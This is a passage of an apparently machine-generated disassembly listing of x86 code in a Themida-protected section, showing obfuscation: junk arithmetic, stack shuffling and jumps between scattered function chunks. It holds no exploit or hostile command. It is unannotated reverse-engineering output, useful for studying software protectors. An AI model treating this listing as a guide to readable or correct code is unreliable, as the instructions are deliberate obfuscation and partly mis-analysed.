sub ebx, ebp
pop ebp
add ebx, 4B035BF8h
add ebx, ebp
sub ebx, 4B035BF8h
add ebx, 75EB3F41h
sub ebx, 9597380h
pop ebp
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_55F72F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_566EA1: ; CODE XREF: sub_56755A-1C19j
add edi, 4
sub edi, 4
push edi
jmp loc_563FC7
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_566EB3: ; CODE XREF: Themida_:0056F4D2j
or ah, 2Fh
push ecx
mov ch, 6Bh
shl ch, 3
dec ch
xor ch, 0EBh
neg ch
not ch
sub ch, 0C6h
sub ah, ch
pop ecx
and bh, ah
pop eax
add bh, 0AAh
push edx
mov dh, 36h
sub dh, 0B1h
jmp loc_55EA63
; ---------------------------------------------------------------------------
loc_566EDC: ; CODE XREF: Themida_:0055E6F5j
mov cx, [esp]
push eax
jmp loc_55F6EA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_566EE6: ; CODE XREF: sub_56755A-4546j
dec edx
shl edx, 5
jmp loc_55BA6C
; ---------------------------------------------------------------------------
loc_566EEF: ; CODE XREF: sub_56755A+4D9Fj
xor edx, [esp-10h+arg_C]
pop esp
jmp loc_564590
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_566EF8: ; CODE XREF: Themida_:005626FAj
sub al, bh
mov ebx, [esp]
add esp, 4
push ebx
mov bh, 7Ah
xor bh, 86h
add al, bh
pop ebx
add cl, al
pop eax
jmp loc_55E5CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_566F11: ; CODE XREF: sub_56755A+6F88j
pop edx
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_566F17: ; CODE XREF: Themida_:00570077j
mov ebp, esp
jmp loc_56303C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55C719
loc_566F1E: ; CODE XREF: sub_55C719+10193j
push edx
jmp loc_56A83C
; END OF FUNCTION CHUNK FOR sub_55C719
; ---------------------------------------------------------------------------
loc_566F24: ; CODE XREF: Themida_:0056A638j
sub ebp, esi
pop esi
xchg ebp, [esp]
jmp loc_562F08
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_566F2F: ; CODE XREF: sub_56755A-6E83j
push eax
jmp loc_56B7C5
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_566F35: ; CODE XREF: Themida_:0056502Bj
push edi
push esp
jmp loc_56DF75
; ---------------------------------------------------------------------------
loc_566F3C: ; CODE XREF: Themida_:0055CF3Aj
xchg esi, [esp]
pop esp
mov [esp], esi
jmp loc_55E61A
; ---------------------------------------------------------------------------
loc_566F48: ; CODE XREF: Themida_:00569A7Aj
pop esp
cmp ecx, eax
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_566F51: ; CODE XREF: Themida_:0056F37Aj
push ebx
mov ebx, 79D661B9h
push eax
mov eax, ebx
mov ecx, eax
pop eax
jmp loc_56D041
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56885A
loc_566F62: ; CODE XREF: sub_56885A+1j
mov ebp, 4
add edi, ebp
pop ebp
push ebp
jmp loc_565B6A
; END OF FUNCTION CHUNK FOR sub_56885A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_566F70: ; CODE XREF: sub_56755A-B78Ej
add esp, 4
jmp loc_5644C1
; ---------------------------------------------------------------------------
loc_566F78: ; CODE XREF: sub_56755A-5EB0j
mov esp, [esp+0Ah+var_C+2]
mov word ptr [esp+0Ah+var_C+2], cx
movzx cx, al
push cx
pushf
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
pop small word ptr [edx]
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_566F93: ; CODE XREF: sub_56755A-2A06j
push edx
jmp loc_56A07A
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_566F99: ; CODE XREF: Themida_:0056E2ABj
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_55B770
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_566FAC: ; CODE XREF: sub_56755A-7852j
pop edx
add esp, 4
push eax
mov eax, 4CD21EA7h
jmp loc_55B759
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_566FBB proc near ; CODE XREF: sub_56B274-64FCj
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_10 = dword ptr 14h
; FUNCTION CHUNK AT 0055F079 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005610CC SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00561B93 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00565FDF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005660D3 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056A188 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056CBD2 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056CC71 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056D9B7 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0056F404 SIZE 0000000A BYTES
push ebp
mov ebp, edi
jmp loc_565FDF
sub_566FBB endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_566FC3: ; CODE XREF: Themida_:0056BEF4j
xor esi, edi
pop edi
push edx
mov edx, 59B86B3Fh
neg edx
not edx
sub edx, 592048FAh
add ebx, edx
pop edx
add ebx, esi
sub ebx, 982244h
jmp loc_56AD1C
; ---------------------------------------------------------------------------
loc_566FE6: ; CODE XREF: Themida_:00561523j
mov [esp], esp
add dword ptr [esp], 4
pop edx
push 36B7h
mov [esp], edi
mov edi, 4
add edx, edi
pop edi
jmp loc_567832
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_567003: ; CODE XREF: sub_56755A-AD2Dj
mov [esp-8+arg_4], ebx
push [esp-8+arg_4]
push [esp-4+arg_0]
pop eax
add esp, 4
sub esp, 4
mov [esp-4+arg_0], edx
push esp
jmp loc_5666C2
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561ED8
loc_56701F: ; CODE XREF: sub_561ED8+3216j
add dl, 0FFh
inc dl
push ecx
mov ch, 22h
shr ch, 6
inc ch
and ch, 0B6h
jmp loc_55FBE3
; END OF FUNCTION CHUNK FOR sub_561ED8
; ---------------------------------------------------------------------------
loc_567034: ; CODE XREF: Themida_:0055EB65j
add ecx, 1FCB449Dh
sub ecx, edi
sub ecx, 1FCB449Dh
mov edi, [esp]
add esp, 4
add ecx, esi
add ecx, 41B355BBh
push edi
mov edi, 77056922h
jmp loc_55C092
; ---------------------------------------------------------------------------
mov cx, [esp]
push edi
mov edi, esp
push ebx
mov ebx, 2E8541C4h
inc ebx
not ebx
shl ebx, 1
jmp loc_5632AC
; ---------------------------------------------------------------------------
loc_567075: ; CODE XREF: Themida_:005705FCj
push edi
push esi
mov esi, 651A4F2Eh
mov edi, esi
pop esi
shr edi, 7
push ebp
jmp loc_55D900
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB1B
loc_567088: ; CODE XREF: sub_56CB1B-F8Dj
not ecx
xchg ecx, ebx
inc ebx
push ebp
mov ebp, 1
sub ebx, 13251B31h
sub ebx, ebp
add ebx, 13251B31h
jmp loc_566B47
; END OF FUNCTION CHUNK FOR sub_56CB1B
; ---------------------------------------------------------------------------
loc_5670A6: ; CODE XREF: Themida_:005601A4j
push 945BCDEDh
pop esi
add ecx, 43F434CBh
sub ecx, esi
sub ecx, 43F434CBh
pop esi
jmp loc_55ECE9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F62
loc_5670C0: ; CODE XREF: sub_562F62+9F82j
not dword ptr [esp+0]
pop ecx
xchg ecx, edx
neg edx
shl edx, 6
jmp loc_5613DB
; END OF FUNCTION CHUNK FOR sub_562F62
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5670D0: ; CODE XREF: sub_56755A-53D4j
push [esp+18h+var_18]
mov ebx, [esp+1Ch+var_1C]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+20h+var_20]
pop esp
add esp, 4
sub esp, 4
mov [esp+1Ch+var_1C], edi
mov edi, 36A7415Ch
not edi
sub edi, 1
dec edi
not edi
xor edi, 6C8E1E3Bh
xor eax, edi
push [esp+1Ch+var_1C]
jmp loc_55FFA3
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56710B: ; CODE XREF: Themida_:0056C480j
add esp, 4
shl edx, 8
push esi
mov esi, 45D15BE5h
shr esi, 7
shr esi, 8
jmp loc_56BA76
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AE72
loc_567122: ; CODE XREF: sub_56AE72+6j
add ecx, ebx
pop ebx
jmp loc_566332
; END OF FUNCTION CHUNK FOR sub_56AE72
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56026A
loc_56712A: ; CODE XREF: sub_56026A+1201j
add ecx, eax
pop eax
push ebp
mov ebp, 4
jmp loc_560557
; END OF FUNCTION CHUNK FOR sub_56026A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F653
loc_567138: ; CODE XREF: sub_56F653-56C3j
mov [esp+0Ch+var_C], eax
mov eax, 349A1390h
push esi
mov esi, 8120829h
jmp loc_55ECF4
; END OF FUNCTION CHUNK FOR sub_56F653
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561ED8
loc_56714B: ; CODE XREF: sub_561ED8-60FEj
push edx
mov dl, 0C0h
add bh, dl
pop edx
pop eax
add bh, 6Ah
xor dh, bh
mov ebx, [esp+0]
add esp, 4
add dh, 0A6h
sub bl, dh
pop edx
push edx
mov dl, 0C2h
dec dl
not dl
dec dl
dec dl
jmp loc_56F45A
; END OF FUNCTION CHUNK FOR sub_561ED8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_567176: ; CODE XREF: sub_56755A-1137j
xchg esi, ebx
not esi
xchg esi, ebx
sub ebx, 298969C3h
jmp loc_5618E9
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E75E
loc_567187: ; CODE XREF: sub_56E75E-10AA0j
sub esi, 4BCD7A03h
jmp loc_565116
; END OF FUNCTION CHUNK FOR sub_56E75E
; ---------------------------------------------------------------------------
loc_567192: ; CODE XREF: Themida_:0056A7B4j
add ebp, 2C2637D7h
sub ebp, eax
push esi
mov esi, 2C2637D7h
jmp loc_56DC1C
; ---------------------------------------------------------------------------
loc_5671A5: ; CODE XREF: Themida_:00569483j
pop edx
jmp loc_56A023
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5671AB: ; CODE XREF: sub_56755A+4316j
push ecx
pop edx
mov ecx, [esp+16h+var_18+2]
add esp, 4
jmp loc_5673F5
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5671B8: ; CODE XREF: Themida_:00565275j
shl ebp, 7
jmp loc_55F2DA
; ---------------------------------------------------------------------------
loc_5671C0: ; CODE XREF: Themida_:005605EEj
pop esi
add edx, ebx
mov ebx, [esp]
add esp, 4
push eax
mov eax, 2
add edx, eax
jmp loc_568DD5
; ---------------------------------------------------------------------------
loc_5671D9: ; CODE XREF: Themida_:0055DBA2j
mov edi, esp
add edi, 4
jmp loc_562488
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
jmp loc_569429
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
mov [esp], edi
mov edi, esp
jmp loc_567D18
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_567223: ; CODE XREF: sub_56755A+294Ej
add esp, 4
xor edi, [esp+0Eh+var_10+2]
jmp loc_564CCA
; ---------------------------------------------------------------------------
loc_567231: ; CODE XREF: sub_56755A-75BCj
not eax
xchg eax, esi
shr esi, 3
jmp loc_56161F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56723C: ; CODE XREF: Themida_:0056078Aj
push ebx
mov ebx, 4
add eax, ebx
pop ebx
add eax, 4
xchg eax, [esp]
pop esp
pop dword ptr [esp]
jmp loc_55F136
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56626C
loc_567256: ; CODE XREF: sub_56626C-4C5Bj
shr dl, 4
sub dl, 49h
jmp loc_5685AB
; END OF FUNCTION CHUNK FOR sub_56626C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_567261: ; CODE XREF: sub_56755A+5039j
push 2DBFh
jmp loc_56967E
; ---------------------------------------------------------------------------
loc_56726B: ; CODE XREF: sub_56755A-725Dj
pop esp
add esp, 4
loc_567272: ; CODE XREF: sub_566504-473Fj
push esi
mov esi, esp
push ecx
mov ecx, 4
sub esi, 5BF2061Ah
add esi, ecx
add esi, 5BF2061Ah
pop ecx
push edx
sub esp, 4
mov [esp+28h+var_28], edi
jmp loc_56556B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_567299: ; CODE XREF: Themida_:0056C585j
push edx
mov edx, 4FED172Dh
shr edx, 6
jmp loc_56396D
; =============== S U B R O U T I N E =======================================
sub_5672A7 proc near ; CODE XREF: sub_55DE37+113BEj
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0056C911 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056CCA9 SIZE 0000003C BYTES
push ebp
mov ebp, 4
jmp loc_56CCA9
sub_5672A7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566504
loc_5672B2: ; CODE XREF: sub_566504+9EEFj
dec esi
jmp loc_56A352
; END OF FUNCTION CHUNK FOR sub_566504
; ---------------------------------------------------------------------------
loc_5672B8: ; CODE XREF: Themida_:00563070j
pop ecx
pop edi
not ecx
jmp loc_55BBEF
; ---------------------------------------------------------------------------
loc_5672C1: ; CODE XREF: Themida_:005666EFj
sub ebx, ecx
mov ecx, [esp]
add esp, 4
add ebx, ecx
jmp loc_55BF7D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56885A
loc_5672D0: ; CODE XREF: sub_56885A-2CE8j
xor edi, [esp+0]
xor [esp+0], edi
jmp loc_55E460
; END OF FUNCTION CHUNK FOR sub_56885A
; ---------------------------------------------------------------------------
loc_5672DB: ; CODE XREF: Themida_:00568298j
sub ax, bp
jmp loc_568F99
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55C719
loc_5672E3: ; CODE XREF: sub_55C719+8577j
mov [esp+8+var_8], esi
jmp loc_56FC09
; END OF FUNCTION CHUNK FOR sub_55C719
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5672EB: ; CODE XREF: sub_56755A+57Dj
push ecx
jmp loc_55D306
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56ADDA
loc_5672F1: ; CODE XREF: sub_56ADDA+1j
mov ebx, 3E6375B3h
sub [eax], ebx
pop ebx
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56ADDA
; ---------------------------------------------------------------------------
loc_5672FE: ; CODE XREF: Themida_:0056E1BBj
add bh, cl
pop ecx
jmp loc_56BA1B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_567306: ; CODE XREF: sub_56F7FC-EFFBj
sub ebx, eax
pop eax
jmp loc_56FA19
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
loc_56730E: ; CODE XREF: Themida_:0055C498j
mov esi, [esp]
add esp, 4
push 7AF7h
jmp loc_56DE2E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56731E: ; CODE XREF: sub_56755A+2657j
mov al, bl
jmp loc_56DE68
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_567325: ; CODE XREF: Themida_:0055D419j
add ecx, 4
jmp loc_568420
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_567330: ; CODE XREF: sub_56755A-76CBj
neg edx
shr edx, 6
xor edx, 3EFEAA5h
jmp loc_55C27B
; ---------------------------------------------------------------------------
loc_567340: ; CODE XREF: sub_56755A-6C86j
pop edx
add esp, 4
jmp loc_56C9FB
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56734C: ; CODE XREF: Themida_:0055E26Cj
push dword ptr [esp]
pop ebx
jmp loc_564C51
; ---------------------------------------------------------------------------
loc_567355: ; CODE XREF: Themida_:005645C7j
mov cl, 0ABh
push 11DEh
mov [esp], ebx
jmp loc_564F4E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_567364: ; CODE XREF: sub_56755A-5648j
pop ebx
add ebx, 4
sub ebx, 4
jmp loc_55D7CE
; ---------------------------------------------------------------------------
loc_567376: ; CODE XREF: sub_56755A+435Aj
sub eax, 344348DCh
add eax, ebx
add eax, 344348DCh
jmp sub_560D65
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_567387: ; CODE XREF: Themida_:0056D056j
or ebx, 19332B4Fh
jmp loc_5626C1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5600E2
loc_567392: ; CODE XREF: sub_5600E2+35BAj
add esp, 4
xchg edi, [esp+4+var_4]
mov esp, [esp+4+var_4]
mov ebx, edx
pop edx
jmp loc_55B98C
; END OF FUNCTION CHUNK FOR sub_5600E2
; ---------------------------------------------------------------------------
loc_5673A6: ; CODE XREF: Themida_:00564F49j
mov ebx, esp
jmp loc_560BBE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D600
loc_5673AD: ; CODE XREF: sub_56D600-10763j
sub bl, al
add bl, 4
pop ax
sub al, bl
push [esp-8+arg_4]
pop ebx
push ecx
jmp loc_56B7FB
; END OF FUNCTION CHUNK FOR sub_56D600
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5643B1
loc_5673C0: ; CODE XREF: sub_5643B1-2E57j
or esi, 63FF7325h
or esi, 23AD0ACEh
add esi, 11311D82h
jmp loc_560E46
; END OF FUNCTION CHUNK FOR sub_5643B1
; ---------------------------------------------------------------------------
loc_5673D7: ; CODE XREF: Themida_:00562190j
shl esi, 7
jmp loc_56C473
; =============== S U B R O U T I N E =======================================
sub_5673DF proc near ; CODE XREF: sub_55F5D6+F035j
var_8 = dword ptr -8
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0055DA06 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055E59B SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0055E7CE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00562678 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0056C1AC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F983 SIZE 0000000C BYTES
push ebx
push 6E24943h
mov ebx, [esp+8+var_8]
jmp loc_56C1AC
sub_5673DF endp ; sp-analysis failed
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_567867
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5673F5: ; CODE XREF: sub_56755A-3A7j
sub eax, edx
mov edx, [esp+12h+var_14+2]
push edx
jmp loc_55DCD0
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5607D3
loc_567400: ; CODE XREF: sub_5607D3+5F85j
add [esp+arg_4], 4C751881h
sub [esp+arg_4], ebp
sub [esp+arg_4], 4C751881h
mov ebp, [esp+0]
add esp, 4
add [esp-4+arg_4], ecx
add [esp-4+arg_4], 29BB64DEh
pop ecx
pop dword ptr [eax]
jmp sub_56ADDA
; END OF FUNCTION CHUNK FOR sub_5607D3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_567431: ; CODE XREF: sub_56755A-4DE7j
mov edx, ecx
jmp loc_56A3C3
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_567438: ; CODE XREF: Themida_:0055E83Fj
push esi
mov esi, 4C45789Dh
jmp loc_55C4B1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_567443: ; CODE XREF: sub_56755A+2C71j
or edx, eax
jmp loc_56A6BE
; ---------------------------------------------------------------------------
loc_56744A: ; CODE XREF: sub_56755A+67ACj
mov edi, esp
push ebx
push edi
mov edi, 28C045FEh
mov ebx, 28C045FAh
xor ebx, edi
pop edi
add edi, ebx
pop ebx
push eax
mov eax, 43EB66FAh
shl eax, 4
or eax, 788C7DF2h
xor eax, 798D4F78h
xor eax, 733308Eh
add edi, eax
jmp loc_56B0EF
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56747D: ; CODE XREF: Themida_:00560E59j
not eax
sub eax, 13581784h
xor edi, eax
pop eax
sub eax, 1F421B29h
add eax, edi
push esi
mov esi, 1F421B29h
add eax, esi
jmp loc_562504
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56749B: ; CODE XREF: sub_56755A+3D15j
sub bh, 0DDh
push cx
mov ch, 2Eh
sub bh, ch
pop cx
add al, bh
pop ebx
push ecx
jmp loc_567A36
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5674AF: ; CODE XREF: Themida_:00560CB8j
pop ecx
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edx
sub esp, 4
mov [esp], ecx
push edx
mov dl, 58h
mov ch, dl
pop edx
push eax
mov ah, 0BBh
neg ah
add ah, 0Eh
and ch, ah
pop eax
push edx
mov dh, 0ECh
add dh, 0FFh
add dh, 0E3h
jmp loc_56951D
; ---------------------------------------------------------------------------
loc_5674E8: ; CODE XREF: Themida_:00565F38j
pop dword ptr [esp]
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_5674FB: ; CODE XREF: Themida_:00561856j
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_55ED97
; ---------------------------------------------------------------------------
loc_567507: ; CODE XREF: Themida_:00560FE5j
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EAA9
loc_56750C: ; CODE XREF: sub_56EAA9+5Bj
push eax
mov eax, esp
jmp loc_55B925
; END OF FUNCTION CHUNK FOR sub_56EAA9
; ---------------------------------------------------------------------------
loc_567514: ; CODE XREF: Themida_:0055EB78j
shr ebx, 3
jmp loc_56A50B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D164
loc_56751C: ; CODE XREF: sub_56D164-F7FAj
pop esp
push ebp
jmp loc_56B95E
; END OF FUNCTION CHUNK FOR sub_56D164
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_567523: ; CODE XREF: sub_56755A-499Aj
add bh, 96h
xor al, bh
mov ebx, [esp+8+var_8]
sub esp, 4
jmp loc_56A394
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_567536: ; CODE XREF: Themida_:0055E155j
add edx, 0E496DD95h
add ebp, edx
pop edx
jmp loc_56D32E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55D71E
loc_567544: ; CODE XREF: sub_55D71E+92DAj
mov [esp+0Ch+var_C], ecx
mov cl, al
jmp loc_56CDD0
; END OF FUNCTION CHUNK FOR sub_55D71E
; ---------------------------------------------------------------------------
loc_56754E: ; CODE XREF: Themida_:00562E76j
pop ebx
xor ebp, 49317645h
jmp loc_56F809
; =============== S U B R O U T I N E =======================================
sub_56755A proc near ; CODE XREF: sub_5B3505-55737j
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
arg_18 = dword ptr 1Ch
arg_1C = dword ptr 20h
arg_20 = dword ptr 24h
arg_24 = dword ptr 28h
; FUNCTION CHUNK AT 0055B56F SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0055B5A5 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 0055B5F5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055B623 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0055B664 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0055B6E8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055B718 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055B735 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055B759 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055B7F3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055B858 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055B8B1 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0055B90C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055B935 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0055B972 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055B99F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055B9BB SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055BA03 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055BA42 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055BA6C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0055BA97 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055BAC5 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055BAF7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0055BB26 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055BB73 SIZE 00000048 BYTES
; FUNCTION CHUNK AT 0055BC43 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0055BD3D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055BD60 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0055BDB4 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0055BEB0 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0055BF0D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055BF23 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055BFFC SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0055C081 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055C0C7 SIZE 00000043 BYTES
; FUNCTION CHUNK AT 0055C163 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055C176 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055C187 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055C1A1 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0055C235 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055C269 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0055C342 SIZE 00000069 BYTES
; FUNCTION CHUNK AT 0055C3C4 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0055C412 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0055C47A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055C502 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055C5ED SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055C61C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055C63C SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0055C69B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055C6C3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055C6DE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055C711 SIZE 00000008 BYTES
